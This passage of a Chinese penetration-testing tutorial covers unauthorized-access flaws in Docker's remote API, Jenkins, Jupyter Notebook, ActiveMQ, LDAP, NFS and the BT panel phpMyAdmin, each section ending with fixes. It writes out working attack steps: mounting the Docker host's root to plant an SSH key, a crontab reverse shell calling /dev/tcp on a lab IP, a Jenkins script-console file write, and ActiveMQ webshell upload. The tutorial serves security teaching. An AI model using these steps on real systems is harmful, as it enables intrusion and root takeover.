docker -H tcp://192.168.168.131:2375 ps -a
1、寫入ssh公鑰

執行一個新容器,並且將該宿主機的根目錄掛在到容器的/mnt目錄下

docker -H tcp://192.168.168.131:2375 run -it -v /:/mnt nginx:latest /bin/bash

啟動之後就會獲得該容器宿主機的shell:

1604632174_5fa4be6e989cca8036696.png!small?1604632174096

之後將攻擊者的ssh公鑰~/.ssh/id_rsa.pub的內容寫到入宿主機的/root/.ssh/authorized_keys檔案中

1604632194_5fa4be8277ebd1888463f.png!small?1604632193900

之後就可以用root賬戶直接登入了

ssh root@x.x.x.x 登入

2、在crontab裡寫定時任務,反彈shell

1、執行一個新容器,並且將該宿主機的根目錄掛在到容器的/mnt目錄下:

docker -H tcp://192.168.168.131:2375 run -it -v /:/mnt nginx:latest /bin/bash

啟動之後就會獲得該容器宿主機的shell:

1604632203_5fa4be8b2190022e16ed1.png!small?1604632202680

2、在容器內執行命令,將反彈shell的指令碼寫入到/var/spool/cron/crontabs/root (ubuntu系統)或/var/spool/cron/root(centos系統):

echo '* * * * * /bin/bash -i >& /dev/tcp/192.168.168.133/8988 0>&1' >> /mnt/var/spool/cron/crontabs/root

1604632207_5fa4be8f0de37fcc4bb81.png!small?1604632206470

(寫入/etc/crontabs/root檔案也可以)

3、本地監聽埠,獲取shell:

1604632222_5fa4be9ebf2c37adf680d.png!small?1604632222227

修復方法

1、設定ACL,只允許信任ip連線對應埠

2、開啟TLS,使用生成的證照進行認證

Jenkins未授權訪問漏洞

漏洞簡介

Jenkins是一個開源軟體專案,是基於Java開發的一種持續整合工具,用於監控持續重複的工作,旨在提供一個開放易用的軟體平臺,使軟體的持續整合變成可能。Jenkins預設監聽埠為8080。

漏洞原因:未設定密碼,導致未授權訪問。

更多Jenkins的介紹請移步:https://www.w3cschool.cn/jenkins/

漏洞復現

環境搭建

wget http://mirrors.jenkins.io/debian/jenkins_1.621_all.deb # 下載

dpkg -i jenkins_1.621_all.deb # 安裝

service Jenkins start #開啟服務

1604632243_5fa4beb31e7935a89e880.png!small?1604632242536

1604632246_5fa4beb691d6581b45f70.png!small?1604632246162

漏洞檢測

直接通過url訪問

http://<target>:8080/manage

http://<target>:8080/script

沒有任何限制

1604632252_5fa4bebcc658f772feaed.png!small?1604632252373

漏洞利用

1、點選script console

1604632265_5fa4bec9dd1d6b6781b88.png!small?1604632265377

2、執行系統命令,下圖看到成功執行系統命令

1604632269_5fa4becd8d18fcab719df.png!small?1604632269233

3、利用Script Console上傳webshell,內容如下:

new File("/var/www/html/phpinfo.php").write('<?php phpinfo();?>');

1604632273_5fa4bed137d1f257e1e1d.png!small?16046322727731604632284_5fa4bedcbb3959e1d09d7.png!small?1604632284413

修復方法

1、對後臺控制頁面做登入驗證限制

2、升級版本

Jupyter Notebook未授權訪問漏洞

漏洞簡介

Jupyter Notebook(此前被稱為 IPython notebook)是一個互動式筆記本,支援執行 40 多種程式語言。預設監聽在8888埠。

如果管理員未為Jupyter Notebook配置密碼,將導致未授權訪問漏洞,遊客可在其中建立一個console並執行任意Python程式碼和命令。

更多Jupyter Notebook的介紹請移步:

https://jupyter-notebook.readthedocs.io/en/stable/notebook.html

漏洞復現

環境搭建

這裡使用vulhub中的專案來搭建復現環境

Vulhub漏洞環境搭建教程參考:

https://www.fujieace.com/penetration-test/vulhub.html

1604632296_5fa4bee8f3ae0cb56cdd3.png!small?1604632296518

漏洞檢測

Nmap掃描開放了8888埠

訪問http://IP:8888

1604632313_5fa4bef916a1a4e418843.png!small?1604632312529

可直接開啟Terminal

漏洞利用

New > Terminal  可以執行任意命令

1604632318_5fa4befe2a6d6202629ed.png!small?1604632317644

修復方法

1)配置Jupyter Notebook密碼

2)設定訪問規則

ActiveMQ未授權訪問漏洞

漏洞簡介

ActiveMQ是Apache下的開源專案,是一種在分散式系統中應用程式藉以傳遞訊息的媒介,ActiveMQ預設監聽在8161埠。

預設情況下,ActiveMQ服務是沒有配置安全引數。攻擊者可以利用預設配置弱點發動遠端命令執行攻擊,獲取伺服器許可權,從而導致資料洩露。ActiveMQ預設賬號密碼為admin/admin

漏洞復現

環境搭建

這裡使用vulhub中的專案(CVE-2015-5254)來搭建復現環境

Vulhub漏洞環境搭建教程參考:

https://www.fujieace.com/penetration-test/vulhub.html

1604632326_5fa4bf06cd452750c985e.png!small?1604632326357

漏洞檢測

nmap掃描,開放了8161埠

訪問url:  http://192.168.168.131:8161

登入,預設使用者名稱密碼是 admin/admin

1604632331_5fa4bf0b271794fb7eb3a.png!small?1604632330561

漏洞利用

若伺服器存在fileserver目錄,則可以通過put請求寫入檔案,但fileserver下的檔案預設不解析

1604632335_5fa4bf0fa31d7b9e05337.png!small?1604632335243

然後使用MOVE請求移動檔案,如果是寫入webshell需要做的物理路徑,在http://192.168.168.131:8161/admin/test/systemProperties.jsp可以檢視物理路徑

1604632339_5fa4bf13190c41a27744f.png!small?16046323385461604632342_5fa4bf1656847ca0c72b3.png!small?16046323417581604632344_5fa4bf18e97c979c23242.png!small?1604632344411

如果是root許可權,還可以直接寫入cron或ssh key等檔案,反彈shell。

修復方法

1)針對未授權訪問,可修改conf/jetty.xml檔案,bean id為securityConstraint下的authenticate修改值為true,重啟服務即可

2)針對弱口令,可修改conf/jetty.xml檔案,bean id 為securityLoginService下的conf值獲取使用者properties,修改使用者名稱密碼,重啟服務即可

LDAP未授權訪問漏洞

漏洞簡介

LDAP中文全稱為:輕型目錄訪問協議(Lightweight Directory Access Protocol),預設使用389埠, LDAP 底層一般使用 TCP 或 UDP 作為傳輸協議。目錄服務是一個特殊的資料庫,是一種以樹狀結構的目錄資料庫為基礎。

未對LDAP的訪問進行密碼驗證,導致未授權訪問。

漏洞復現

漏洞檢測

Python檢測指令碼

#! /usr/bin/env python
# _*_  coding:utf-8 _*_
from ldap3 import Connection,Server,ALL
def ldap_anonymous(ip):
    try:
        server = Server(ip,get_info=ALL,connect_timeout=1)
        conn = Connection(server, auto_bind=True)
        print "[+] ldap login for anonymous"
        conn.closed
    except:
        #pass
        print '[-] checking for ldap anonymous fail'

漏洞利用

可以使用ldapbrowser直接連線,獲取目錄內容。

1604632387_5fa4bf4312257eb88f3b0.png!small?1604632386702

點選File->New Profile,把要連線的ldap server的IP、埠、base DN、使用者名稱、密碼統統填好,然後就能連上了,一般是能看到整個ldap樹的情況。

修復方法

1)修改ldap的acl,不允許匿名訪問。

2)根據業務設定ldap訪問白名單或黑名單。

NSF未授權訪問漏洞

漏洞簡介

NFS(Network File System)即網路檔案系統,它允許網路中的計算機之間通過TCP/IP網路共享資源。在NFS的應用中,本地NFS的客戶端應用可以透明地讀寫位於遠端NFS伺服器上的檔案,就像訪問本地檔案一樣。若運維人員未對檔案訪問進行控制,將導致本地檔案可被任意讀取。

NFS預設監聽埠為2049。

漏洞復現

環境搭建

安裝NFS服務端: sudo apt install nfs-kernel-serve

安裝NFS客戶端: sudo apt install nfs-common

編寫配置檔案:

#編輯/etc/exports 檔案:

sudo vi /etc/exports

#/etc/exports檔案的內容如下:

/tmp *(rw,sync,no_subtree_check,no_root_squash)

建立共享目錄

#在伺服器端建立/tmp共享目錄

sudo mkdir -p /tmp

重啟nfs服務:

sudo service nfs-kernel-server restart

1604632400_5fa4bf509ae16f471de5e.png!small?1604632400122

漏洞利用

showmount -e 192.168.168.131 檢視nfs伺服器上的共享目錄

1604632440_5fa4bf7886e9c98ffc7c2.png!small?1604632440027

將NFS伺服器192.168.168.131上的目錄,掛載到本地

sudo mount -t nfs 192.168.168.131:/tmp /mnt

1604632450_5fa4bf82a33c702aaddc9.png!small?1604632450099

修復方法

1、設定/etc/exports,對訪問進行控制

2、利用iptables限制埠2049和20048埠的訪問

寶塔皮膚phpMyAdmin未授權訪問漏洞

漏洞簡介

寶塔皮膚是提升運維效率的伺服器管理軟體,支援一鍵LAMP/LNMP/WAMP/叢集/監控/網站/FTP/資料庫/JAVA等100多項伺服器管理功能。

寶塔Linux皮膚7.4.2版本和Windows皮膚6.8版本存在phpmyadmin未授權訪問漏洞。

漏洞復現

漏洞 URL:ip:888/pma 即可直接登入(但要求必須安裝了 phpmyadmin)

1604632459_5fa4bf8b5e965106ccebd.png!small?1604632459361

修復方法

  • 更新到最新版
  • 進入目錄 /www/server/phpmyadmin/ 裡面 把 PMA 目錄刪掉

參考

https://www.freebuf.com/articles/web/207877.html

https://xz.aliyun.com/t/6103

https://www.cnblogs.com/xiaozi/p/13369596.html

https://www.yuque.com/cheng-4ueio/tow7i5/wrbzgy

相關文章